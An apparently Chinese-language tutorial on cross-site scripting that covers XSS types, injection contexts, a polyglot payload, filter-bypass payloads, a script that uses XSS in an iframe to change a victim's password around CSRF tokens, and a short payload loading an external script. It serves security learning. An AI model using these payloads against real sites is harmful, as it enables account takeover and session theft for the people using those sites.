1 什么是XSS
是一种客户端侧的攻击,在受害者的浏览器端执行代码,可能是在web应用中注入JS代码、让受害者访问有问题 的URL。或者,通过直接让用户点击一个有payload的URL。这三种类型主要是:反射型XSS、存储型XSS和基于DOM的XSS。
后面两个有什么区别吗?
2 不同类型的XSS
-
存储型XSS
用户输入被存储,之后被web页面渲染。存储型XSS的典型入口是:信息论坛、播客的评论、用户简介、用户名等。攻击者利用这种漏洞,在一些页面注入XSS payload,或者诱使用户点击链接。受害者访问后,payload会被受害者的web浏览器执行。
-
反射型XSS
不会在服务端保存,只是在返回的响应html中。
web服务器响应返回,然后在浏览器中渲染执行。整个攻击在一个单次的请求和响应中。
注意点:
- web服务器不保存XSS payload
- payload被反射and是不持久的
- 通过web服务器来反射payload
例子:
用户提供输入,然后在web页面中反射。一个比较典型的例子,比如一个论坛,接收用户输入,然后在页面的响应中反射它。例如,一个论坛,在提交表单后,打印用户姓名,大概就是输入用户名后,会在页面上返回这么一个信息“Thanks for your enquiry $YourName, we’ll be in touch shortly”。
-
基于dom的XSS
它不用Web服务器处理,受害者只需点击链接,然后客户端就直接渲染。
基于DOM的XSS不会被发送给服务器,因此如果前端页面没有做处理,就会导致XSS的发生。因为它不会被发送到服务端,因此服务端的过滤机制,无法防御DOM XSS。
它的一些入口点
- document.location
- document.referrer
- window.name
- location.*
- location.href
- document.documentURI
-
Self xss(其实不算是一种分类
比如有一个页面,用户简介页面,只有你自己可以访问,这个页面的xss就可以理解为self xss。
self xss是从危害方面来看的,只能攻击到你自己,无法攻击其他用户。
不过在一些场景下,可以和CSRF漏洞结合来进一步利用。
XSS的一些危害
- 重定向浏览器
- 链接取代
- hooking浏览器 - beef
- cookie窃取
- key logging
- 使用XSS去窃取CSRF tokens(这怎么窃取啊
- abusing html5
XSS是Web上最为常见的应用,使得攻击者可以在受害者的浏览器中执行client-side的JS脚本。
XSS是一个非常有趣和动态的bug,它的产生有很多原因。
- 它的危害程度可以从information到critical,这取决于应用和context
- 在一些场景下,它可以导致rce
- 由于它的动态特性,它比较难以防御,在整个开发周期中
- 许多复杂的XSS漏洞,会被自动化工具忽略
XSS的成因:没有正确处理用户输入.
Context is everything
当你开始考虑,用户输入的反射有多少场景时,就能理解为什么自动化检测XSS会很难了。
下面来简单看一下,用户输入可能反射在哪些地方。
-
在正常的html标签中
<p> {{injection}} </p>
-
html属性中--双引号
<input type="text" valuue="{{injection}}">
-
html属性中--单引号
<input type="text" value='{{injection}}'>
-
html属性中-无引号
<input type="text" value={{injection}}>
-
html注释中
<!-- {{injection}} -->
-
html事件处理中
<img src=x onerror="{{injection}}" >
-
script标签中
<script>var x = "{{injection}}";</script>
-
url中
<a href="{{injection}}">click me</a>
以上只是部分示例,还有许多其他的场景。重要的是,你要清楚你正在注入的context,以及在该context下,知道如何绕过或abuse来达到XSS。
XSS发现方法
手动尝试每一个参数,测试注入,检查context,然后尝试利用。这会比较慢,很费力,但是会发现许多其他人忽略的问题。
XSS polyglot
XSS polyglot是一个字符串,能够在不同的context中注入and导致JS的执行。著名的xss polyglot如下,能够在超过20个contexts中生效。
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
可以参考:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
自动化scanner
网上有很多XSS scanner,但。。大部分效果都不怎么滴。
因为有的XSS,是在某个页面输入,然后在别的页面触发,很多scanner都检测不到。
XSS bypass
通常,你会遇到存在filter的场景,导致XSS payload失败。这些filter可能很容易绕过,也可能很难绕过,甚至无法绕过。最基本的filter是简单的字符串搜索,比如,在后端收缩script关键字,找到的话就返回403 error。
<?php
$name = $_GET['name'];
if (strpos($name, 'script') !== false) {
http_response_code(403);
die('Forbidden');
}
?>
html event属性
onerror事件。
<img src=x onerror=alert(1)>
alert is blocked
在一些场景下,alert被列入了黑名单。这个也很简单,可以用prompt(1)
,alert(1)
来绕过。
括号()被blocked
JS是一门奇怪的语言。出于一些原因,当向函数传递字符串时,它允许你使用反印号来代替括号。
alert`1`
strings are blocked
有时,某些场景会导致你无法组成字符串,比如引号被blocked。这种场景下,String.fromCharCode
会非常有用,,它会把ASCII code转换成字符串。
alert(String.fromCharCode(88, 83, 83));
other bypasses
XSS bypass是一个大坑。
比如有个Cloudflare的xss bypass,payload是
<svg onload=prompt%26%230000000040document.domain)
XSS Escalation methods
使用更长的payloads。
bypass the sop
你能找到的最棒的XSS,大概就是允许你完全的绕过同源策略。XSS,一般执行的context就是应用本身,就像你的pyaload就是硬编码在应用中的。
这意味着,你可以在受害者所在的应用中执行任何操作。比如提交表单,修改profile,评论,更新密码,安装插件等。
bypass csrf tokens
发现了XSS后,如何提交需要CSRF Token的表单?有许多不同的方法,ifame就是一个很好的选择。如果页面是被iframe加载的,那么表单会自动提交CSRF Token。
这是为什么?
frame=document.createElement("iframe");
frame.addEventListener("load", function() {
// Wait 1 second after the iframe loads to ensure that the DOM has loaded
setTimeout(function(){
//Set new password
frame.contentDocument.getElementById("NewPassword").value="1337H4x0rz!!!"
//Set confirm password
frame.contentDocument.getElementById("ConfirmNewPassword").value="1337H4x0rz!!!"
//Click the submit button
frame.contentDocument.getElementById("SubmitButton").click()
setTimeout(function(){
//Wait a couple seconds for the previous request to be sent
alert("Your account password has been changed to 1337H4x0rz!!!")
}, 2000)
}, 1000)
});
frame.src="https://example.com/sensitive/action.php";
document.body.append(frame);
other cases
下面是一些比较特殊的例子。
长度受限的payload
不拉取外部脚本的,最短的payload,20个字符
<svg/onload=alert()>
pull外部脚本的payload,27个字符
<script/src=//㎻.₨></script>
这里用到了一个trick,一个unicode字符,将会被浏览器拆分成两个正常的字符,这意味着你可以把5个字符的domain(比如nw.rs)缩短到3个字符㎻.₨
,浏览器会把它转换成5个字符并获取脚本。
这怎么转换呢?
注意,这是在html context下,如果是在JS context下,直接alert(1)就行了。
link injection
你可以使用javascript:
协议来执行JS,比如javascript:alert(document.domain)
。
它可以被注入到任何link,例如<a>
标签。
<a href="javascript:alert(document.domain)>click me</a>
Referer Header XSS
这在IE6之后,几乎就不可能了,除非是一些极端case。原因在于Referer Header中的一些关键字符被浏览器进行了URL编码。
RCE via XSS in electron apps
electron非常的简洁,它允许你通过JS、html、css来创建桌面应用,像VSCode、Slack、Twitch等都是用的Electron。有一个feature叫nodeIntegration
,允许你在应用中运行nodejs代码。
如果你在Electron应用中发现了XSS,并且nodeIntegration
是开启的,那么就会打到rce。
推荐阅读:Portswigger's great writeup,著名的XSS to ice bug。
网友评论